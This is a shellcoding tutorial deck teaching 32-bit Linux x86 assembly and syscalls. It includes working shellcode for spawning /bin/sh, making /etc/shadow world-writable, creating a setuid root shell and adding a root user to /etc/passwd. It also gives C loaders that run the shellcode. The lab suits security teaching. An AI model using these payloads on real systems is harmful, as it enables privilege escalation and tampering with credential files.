0x1 Shellcoding-Lab 32Bit

by Marco Lux

Syscall Basics

INTRO

- This is *not* shellscripting
- We are sending opcodes to the CPU
- You want to put this into your heaps and stacks
- Or just code assembly for fun ☺

PREREQUISITES

- Assembler: nasm / gas / as / yasm
- C Compiler: gcc
- Interpreter: python2/3
- Shellnoob: https://github.com/reyammer/shellnoob
- objdump, gdb, strace
- Example codes and slides for the lab:
- https://github.com/c0decave/Shellcode-Lab

PREREQUISITES OS

- 32BIT libraries Archlinux

  vi /etc/pacman.conf

  [multilib]
  Include = /etc/pacman.d/mirrorlist

  # pacman -S multilib
  # pacman -S lib32-glibc

- 32BIT libraries Debian

  # apt install ia32-libs g++-multilib

SYNTAX

- AT&T Syntax
- Looks a bit more “odd”
- Forced to be more correct
- Advantage in ordering
- Calculation of addresses are a nightmare

SYNTAX

- AT&T Syntax
- Instruction, Src Operand, Dst Operand

Instruction	Source	Destination
movb	$0x5	%al

- This example is quite obvious, no?

SYNTAX

- AT&T Syntax
- What's about that one:

Instruction	Source	Destination
Leal	bla(,%edi,8)	%eax

SYNTAX

- Intel Syntax
- More aesthetic and obvious
- Mathematical touch

SYNTAX

- Intel Syntax

Instruction	Destination	Source
mov byte	al	0x5

SYNTAX

- Intel Syntax

Instruction	Destination	Source
lea	eax	[bla + edi * 8]

SYNTAXES

```
; execve.nasm
; example intel syntax

global _start
_start:
xor     eax, eax
push    eax
push    0x68732f2f
push    0x6e69622f
mov     ebx, esp
push    eax
push    ebx
mov     ecx, esp
mov     al, 11
int     0x80
```

```
# execve.asm
# at&t syntax shell

.globl _start

_start:
xor     %eax,%eax
push    %eax
push    $0x68732f2f
push    $0x6e69622f
mov     %esp,%ebx
push    %eax
push    %ebx
mov     %esp,%ecx
mov     $0xb,%al
int     $0x80
```

CPU REGISTERS

- EAX → Accumulator
- EBX → Baseregister
- ECX → Counter
- EDX → Data
- ESI → Source Index
- EDI → Destination Index

- ESP → StackPointer
- EBP → BasePointer
- EIP → Instruction Pointer

- 32 BIT Registers

CPU GENERAL PURPOSE REGISTERS

- We can address different components of registers
- Save space
- Being exact
- No Nullbytes

CPU GENERAL PURPOSE REGISTERS

Reg	Accu	Base	Count	Data	Source	Dest.
32Bit	EAX	EBX	ECX	EDX	ESI	EDI
16Bit	AX	BX	CX	DX	SI	DI
8Bit High	AH	BH	CH	DH		
8Bit Low	AL	BL	CL	DL		

SYSCALL

- What is a syscall?
- *nix using Syscalls!
- man 2 syscall
- Quite some differences in number 32/64bit

- /usr/include/asm/unistd_32.h
- /usr/include/asm/unistd_64.h

SYSCALL EXAMPLES

- 32BIT
  - exit 1
  - read 3
  - write 4
  - open 5
  - close 6
  - execve 11
  - chdir 12
  - chmod 15
  - setuid 23
  - kill 37
  - reboot 88
  - socket 102
  - connect 102
  - accept 102
  - bind 102
  - listen 102

- 64Bit
  - exit 60
  - read 0
  - write 1
  - open 2
  - close 3
  - execve 59
  - chdir 80
  - chmod 90
  - setuid 105
  - kill 62
  - reboot 169
  - socket 41
  - connect 42
  - accept 43
  - bind 49
  - listen 50

SYSCALL

Register	EAX	EBX	ECX	EDX	ESI	EDI	EBP
Value	Syscall	Arg1	Arg2	Arg3	Arg4	Arg5	Arg6

SYSCALL

- Different syscalls for different operations
- read/write/open/close …
- Always check “man 2 <syscall>”
- So you know what arguments you need to put on the stack.

BASIC ASSEMBLY INSTRUCTIONS

- Lets talk about some basic assembly instructions
- First things first, how many instructions are there
  - Several hundreads to thousands, always a question how you measure
  - Question of syntax, usage of operands, usage of mnemics
  - CPU version
    - Every Version gets some new instructions
    - 80186, 80286,80386,80486,Pentium,Pentium MMX,SSE,SSE2,SSE3,ABM,BMI1,BMI2,TBM…

BASIC ASSEMBLY INSTRUCTIONS

- While we will only look at some of them
- Don’t worry, everything at a time
- You can do the most important things you learn here
- Advanced, Crazy, 31337 will come when constantly doing it

BASIC ASSEMBLY INSTRUCTIONS

- XOR
- Exclusive OR
- Boolean logic
- Major use in shellcoding:
  - Null registers (example)
  - Encoder/Decoder
  - Encryption

xor	eax	eax
xor	0x12345678	0x12345678
Result	0x00000000	0x00000000

BASIC ASSEMBLY INSTRUCTIONS

- MOV
- Its copy

mov	eax	ebx
mov	0x12345678	0xC0FEBABE
Result	0xC0FEBABE	0xC0FEBABE

- Major use in shellcoding:
  - It is a basic operation, you need for almost everything
  - Place values in registers

23

BASIC ASSEMBLY INSTRUCTIONS

- PUSH
- Opposite POP

Register	Eax	0x41424344
Push	eax	
Result on stack	0x41424344	

- Place something on the stack
- You cannot push into register **from** stack
- BUT you can push a register **onto** the stack
- Major use in shellcoding:
  - Save pathnames, strings, addresses on the stack for later usage

BASIC ASSEMBLY INSTRUCTIONS

- POP
- Opposite PUSH
- Take from the stack
- You can pop into a register
- Major use in shellcoding:
  - Whatever has been saved on the stack, place it in a register

Stack		0x41424344
Pop	eax	
Result in EAX	0x41424344	

BASIC ASSEMBLY INSTRUCTIONS

- NOP
- No Operation
- Do “nothing”
- Major use in shellcoding:
  - Nopsled
  - Placeholder

Mnemonic	Operand
NOP	*NONE*
Result	Next instruction

BASIC ASSEMBLY INSTRUCTIONS

- NOP
- Please note that NOPs are discussed a lot for nopsleds
- While opcode 0x90 is the ‘default’ NOP
- Everything *can* be a nop
  - As long it is not destroying your payload
  - Or the state of the application you attack

BASIC ASSEMBLY INSTRUCTIONS

- INC
- Increase
- Opposite of DEC
- Mathematical operation

Value in	Eax	0
inc	eax	
Value in	Eax	1

BASIC ASSEMBLY INSTRUCTIONS

- DEC
- Decrease
- Opposite of INC
- Mathematical operation

Value in	eax	1
dec	eax	
Value in	eax	0

BASIC ASSEMBLY INSTRUCTIONS

- JMP
- Jump to label

Jmp	exit	
Result	Jumps to label exit	Continues execution

- Major usage in shellcoding:
  - For loops
  - Encoders/Decoders

BASIC ASSEMBLY INSTRUCTIONS

- CALL
- Call a function

Call	toplabel	
Result	Calls label: toplabel	Continues execution at label, but saves return address

- Difference to jump is, that the function prologue is executed

“In assembly language programming, the function prologue is a few lines of code at the beginning of a function, which prepare the stack and registers for use within the function. Similarly, the function epilogue appears at the end of the function, and restores the stack and registers to the state they were in before the function was called.”

https://en.wikipedia.org/wiki/Function_prologue

BASIC ASSEMBLY INSTRUCTIONS

- INT
- Interrupts operation

mnenomic	operand
int	80h

- “In system programming, an interrupt is a signal to the processor emitted by hardware or software indicating an event that needs immediate attention.” ~all knowing trashbin (wikipedia)

- In our case we use 0x80 / 80 / 80h for execution of our shellcode
- Difference to x86_64, there we use “syscall” for calling our prepared statements

BASIC ASSEMBLY INSTRUCTIONS

Mnemonic	Dest Operand	Src Operand	Explanation
xor	eax	ebx	Do an Boolean exclusive or
mov mov	eax eax	0x23 ebx	Copy a value into destination
push push	eax 0x23		Place a value on the stack
pop	eax		From stack pointer to register
inc	eax		Increase value in register
dec	eax		Decrease value in register
jmp	label		Jump to a label
call	function		Call a function
int	80h		Interrupt and Execute

WARNING

Most of the shown example code, is written badly by intention. It might even not work. It is the task of the student to get it work, enhance it and step over the built-in traps.

WARNING

- We’ll talk about BITS 32 / BITS 64 and global _start in a second
- For now important is:
  - Whitespace between BITS and Architecture
  - Whitespace between global and label _start

SYSCALL: EXIT

- void _exit(int status);

- Register EAX for Syscall (1)
- Register EBX for return-code

SYSCALL: EXIT

- void _exit(int status);
- Register EAX for Syscall (1)
- Register EBX for return-code

```
BITS 32
global _start

_start:
xor eax, eax
xor ebx, ebx
mov eax, 1
mov ebx, 4
int 0x80
```

SYSCALL: EXIT

```
$ nasm -f elf32 exit.asm
$ ld -m elf_i386 exit.o -o exit
$ ./exit
$ ./exit ; echo $?
4
```

```
BITS 32
global _start

_start:
xor eax, eax
xor ebx, ebx
mov eax, 1
mov ebx, 4
int 0x80
```

SYSCALL: EXIT

```
$ objdump -d -M intel exit


exit:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       31 db                   xor    ebx,ebx
 8048064:       bb 04 00 00 00          mov  ebx,0x4
 8048069:       b8 01 00 00 00          mov  eax,0x1
 804806e:       cd 80                   int     0x80
```

- -d for dissassembly
- -M for presenting in Intel Instruction Set

SYSCALL: EXIT

- $ objdump -d -M intel exit

```
8048060:    31 c0             xor    eax,eax
8048062:    31 db             xor    ebx,ebx
8048064:    b8 01 00 00 00    mov    eax,0x1
8048069:    b3 03             mov    bl,0x3
804806b:    b7 04             mov    bh,0x4
804806d:    66 bb 05 00       mov    bx,0x5
8048071:    bb 06 00 00 00    mov    ebx,0x6
8048076:    cd 80             int    0x80
```

- Remember we can address ebx/bx/bl/bh
- Btw. Those things are our opcodes

GETTING THE OPCODES

- ./shellnoob.py --from-obj exit --to-c exit.c
- Result:

char shellcode[] =
"\x31\xc0\x31\xdb\xbb\x05**\x00\x00\x00**\xb8\x01**\x00\x00\x0**
0\xcd\x80";

ARGL NULLBYTES

- So, 0x00 will terminate a string
- Pretty bad for us, having this on the stack

→ remove NULLBYTES

- For now, just recall the different registers we have

ARGL NULLBYTES

```
08048060 <_start>:
 8048060:  31 c0                   xor    eax,eax
 8048062:  31 db                   xor    ebx,ebx
 8048064:  b3 04                   mov    bl,0x4
 8048066:  b0 01                   mov    al,0x1
 8048068:  cd 80                   int    0x80
```

- use it with shellnoob

```
$ ./shellnoob.py --from-obj exit-no0 --to-c no0.c
$ cat no0.c
char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";
```

EXECUTE OUR SHELLCODE (CLASSIC)

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>

//fill shellcode in here:
char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";

main()
{
printf("Shellcode Length:  %d\n", sizeof(shellcode) - 1);
int (*ret)() = (int(*)())shellcode;
ret();
}
```

EXECUTE OUR SHELLCODE (CLASSIC)

$ gcc –m32 exit.c –o exit

$ ./exit; echo $?

$ 0

- Or

./exit; echo $?

$ 4

- Or

./exit; echo $?

Segmentation Fault

Something is wrong here!

EXECUTE OUR SHELLCODE (CLASSIC)

- Works on systems without stack protection
- The problem is the memory are we are writing our shellcode too. We cannot write and execute.
- (Non-Executeable Stack)
- Several solutions:
  - Compile with –z execstack (make stack executeable again)
  - Create a memory area with rwx flags
- gcc –m32 exit.c –o exit –z execstack

EXECUTE OUR SHELLCODE-MMAP (RWX FLAGS)

```
#include <string.h>
#include <sys/mman.h>
char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";
int main(int argc, char **argv)
{
 // Allocate some read-write memory
 void *mem = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
 // Copy the shellcode into the new memory
 memcpy(mem, shellcode, sizeof(shellcode));
 // Make the memory read-execute
 mprotect(mem, sizeof(shellcode), PROT_READ|PROT_EXEC);
 // Call the shellcode
 int (*func)();
 func = (int (*)())mem;
 (int)(*func)();
 // Now, if we managed to return here, it would be prudent to clean up the memory:
 munmap(mem, sizeof(shellcode));
 return 0;
}
```

BREAK ANYONE?

RECAP

- Registers
- Simple Stack Layout
- Exit shellcode
- How to run it on classic and how to mmap
- Of course exit is right now pretty useless for us, so lets do something more helpful

COMPILING

- Of course we do not need to compile and link the assembly
- An object is more then enough to extract the opcodes
- But, we want to test if the assembly itself is working

BITS MODE

- “The BITS directive specifies whether NASM should generate code designed to run on a processor operating in 16-bit mode, 32-bit mode or 64-bit mode. The syntax is BITS XX, where XX is 16, 32 or 64.”

http://www.nasm.us/doc/nasmdoc6.html

USE32

- “The `USE16' and `USE32' directives can be used in place of `BITS 16' and `BITS 32', for compatibility with other assemblers.”

http://www.nasm.us/doc/nasmdoc6.html

- BITS needs a whitespace
- USE does not!
- Example:
  - BITS 32
  - USE32

LABEL _START

- global _start
- global is NASM specific
- _start is not
- _start is the Entry point for the program
- Check this ☺
- ld –verbose /bin/bash|grep ENTRY

LABEL _START

```
$ objdump -f /bin/bash|grep start
$ start address 0x000000000041b6d0
```

```
$ objdump -x -D /bin/bash|grep 41b6d0
start address 0x000000000041b6d0
000000000041b6d0 <_start@@Base>:
41b6d0:       31 ed                   xor    %ebp,%ebp
```

NEXT SHELLCODE

CHMOD 0777 /ETC/SHADOW

- man 2 chmod
- int chmod(const char *pathname, mode_t mode);

EAX	EBX	ECX
chmod	*pathname	mode_t mode

- Eax: 15, Ebx: *pathname (ptr from stack), Ecx: mode (0x1ff)
- Preview Code:

```
mov ecx, 0x1ff
push <string onto stack with null terminator>
mov ebx, esp
mov al, 15
```

CHMOD 0777 /ETC/SHADOW

- push data on the stack
- you need to terminate the string
- use tool ascii_converter.py
- String: 776f646168732f6374652f

- create your push instructions (4 bytes)

```
push    ebx             ;null terminator
push    0x776f6461      ;/etc/shadow
push    0x68732f63
push    0x74652f2f
```

- store address of the string into ebx
- mov ebx, esp
- Don’t forget to add an exit after all
  - You don’t want to your code to segfault

CHMOD 0777 /ETC/SHADOW

```
<xor used registers>
;chmod
mov     ecx, 0x1ff    ;0777
push    ebx           ;null terminator
push    0x??          ;/etc/shadow
push    0x??
push    0x??
mov     ebx, esp
mov     eax, ??
int      0x80

;exit
xor     eax, eax
xor     ebx, ebx
mov     eax, ??
int     0x80
```

CHMOD 0777 /ETC/SHADOW

```
<xor used registers>
;chmod
mov     ecx, 0x1ff    ;0777
push    ebx           ;null terminator
push    0x??          ;/etc/shadow
push    0x??
push    0x??
mov     ebx, esp
mov     eax, ??
int      0x80

;exit
xor     eax, eax
xor     ebx, ebx
mov     eax, ??
int     0x80
```

```
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx

;chmod
mov     ecx, 0x1ff      ;0777
push    ebx             ;null terminator
push    0x776f6461      ;/etc/shadow
push    0x68732f63
push    0x74652f2f
mov     ebx, esp        ;put the address of esp to ebx (shadow)
mov     eax, 15
int     0x80

;exit
xor     eax, eax
xor     ebx, ebx
mov     eax, 1
int     0x80
```

SETUID ROOTSHELL

- Create a shellcode which will give 4777 permissions to a shell placed somewhere on the filesystem. NO NULLBYTES!
- Download the shell.c file here && compile it
- chown it to root
- Shellcode == chmod 4777 shell

SETUID ROOTSHELL

- HOWTO:
  - Chmod
  - Exit
- check with objdump for nullbytes
- remove them(use other registers, not pushb 0x0)
- compile the shell and put it somewhere, chown by hand to root
- Use your shellcode with mmap to change the permissions of the file
- Result:

```
$ ./r00tshell
# id
uid=0(root) gid=1000(shell)
groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(shell)
```

SETUID ROOTSHELL

Problems?

ADDUSER TO /ETC/PASSWD

- man 2 open / write / close
- Lets have a look at the syscall: open
- open(const char *pathname, int flags);

EAX	EBX	ECX
open	char *pathname	int flags

ADDUSER TO /ETC/PASSWD

- Next is the syscall write:
- ssize_t write(int fd, const void *buf, size_t count);

EAX	EBX	ECX	EDX
write	Fd /Filedescriptor	*buf	count/length

ADDUSER TO /ETC/PASSWD

- Next is the syscall close:
- int close(int fd);

EAX	EBX
close	Fd /Filedescriptor

ADDUSER TO /ETC/PASSWD

- Check following include files:

/usr/include/bits/fcntl.h

/usr/include/bits/fcntl-linux.h

- And find the passage:

define O_CREAT 0100

define O_EXCL 0200

define O_NOCTTY 0400

define O_TRUNC 01000

 # define O_APPEND 02000 <--- we want to append

define O_NONBLOCK 04000

- How to convert this?

$ gdb --quiet --batch -ex 'print /x 02000 | 01'

$1 = 0x401

ADDUSER TO /ETC/PASSWD

```
;open
mov eax, ?? syscall ??
push nullbyte
mov ebx, push path of /etc/passwd
mov stackpointer to register
mov ecx, ?? flags ??
int 0x80
```

```
;write
ret value(file descriptor) is in eax, so lets grab it:
xor ebx
mov fd to register
xor eax, eax
mov al, ?? syscall
push nullbyte
push <user you want to add>
mov ecx, (len of the userentry)
int 0x80
```

- Return values are saved in EAX
- Remember:
- int open(const char *pathname, int flags);

ADDUSER TO /ETC/PASSWD

- You can use the crypt_des_tool.py
- ./crypt_des_tool.py hack3r

- Convert the string to something fitting your assembly code
- The user you want to add, use “asci_convert2.py” from example code directory
- ./ascii_convert2.py hack3r:ABHmse9Zk8sNI:0:0::/root:/bin/bash

ADDUSER TO /ETC/PASSWD

- Watch out for:
- Nulltermination of the strings
- Lonely bytes (push byte)
- Missing Newline

- Hint:
  - push byte 0x0a

ADDUSER TO /ETC/PASSWD

- Build your own adduser assembly code! Do the following:
- Open the passwd file
- Write a new passwd entry for a privileged user
- Close the file cleanly.
- Check with strace if everything worked.
- Check with su / login if you can login as the new user

R00TSHELL

- Finally we come to the one of the most used syscalls in shellcode
- We want to build a r00tshell!
- What we need?
  - setuid
  - execve

ROOTSHELL - SETUIDS

- There are different calls for setting what privileges we have
- The commons are:
  - Setuid
  - Setgid
  - Setreuid
  - setregid

ROOTSHELL - SETUID

- For now we stick to setuid
- What value do we want? UID 0!
- int setuid(uid_t uid);

syscall	value
23	0

ROOTSHELL - EXECVE

- We need to execute something, maybe an interactive shell?
- int execve(const char *filename, char *const argv[], char *const envp[]);

Syscall	Arg1	Arg2	Arg3
11	/bin/sh	*ptr to smth	*ptr to smth

BAD EXECVE

```
;setuid
xor     eax, eax
mov     ebx, eax
mov     eax, 11
int     0x80

;execve
xor     ecx, ecx
push    ecx
push    0x69732f2f
push    0x6e69622f
mov     ebx, esp
mov     edx, 0x00000000
xor     eax, eax
mov     eax, 11
int     0x80
```

- Thats Execve, far from being perfect or even correct – watchout!
- Impr0ve!
- Btw. Thats it for Syscall Basics!
- Thanks for your attention!

BAD EXECVE TROUBLESHOOTING

- What is your architecture?

```
brk(NULL)                               = 0x1734000
brk(0x1755000)                          = 0x1755000
write(1, "Shellcode Length:  37\n", 22Shellcode Length:  37
) = 22
select(0, 0x1734010, 0x601040, NULL, NULL) = -1 EPERM (Operation not permitted)
munmap(NULL, 24330256)                  = -1 EFAULT (Bad address)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xfffffffffffffff2} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)
```

```
[user@localhost execve_64_32_mixup_:D]$ file testit
testit: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux
-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=61c62dd66d986f0c9a4607795fad7b7a1ee63082, not stripped, wi
th debug_info
[user@localhost execve_64_32_mixup_:D]$ uname -m
x86_64
```

- gcc –m32 testit.c –o testit –z execstack

REFERENCES

- I don’t recal exactly where all this information has come from over the time
- Please note I placed here from my point of view noteworthy links to books, papers or blogs having additional information.
- The list will increase over time

REFERENCES

- Sockets, Shellcode, Porting & Coding – James C Foster
- History and advances in Windows Shellcode – SK
  - http://phrack.org/issues/62/7.html
- Open security training, awesome resource for assembly
  - http://opensecuritytraining.info/

PREREQUISITES CODE

- Code Snippets in Example_Code folder:
- adduser_etc_passwd.asm - Adding a user with password to /etc/passwd
- bad_setuid_shell.asm - Setuid Root shell
- crypt_des_tool.py - Addon for 'adduser_etc_passwd.asm'
- skeleton_oldstyle.c – Exploit skeleton for our shellcode
- ascii_converter.py - Convert text, prepare for push
- chmod_shadow_0bytes.asm - relates to 2nd handson
- shell.c – c shell
- ascii_converter2.py – slightly improved version
- chmod_shadow_no0.asm - chmod code without 0 bytes
- skeleton_mmap.c – Exploit skeleton with mmap usage

EOF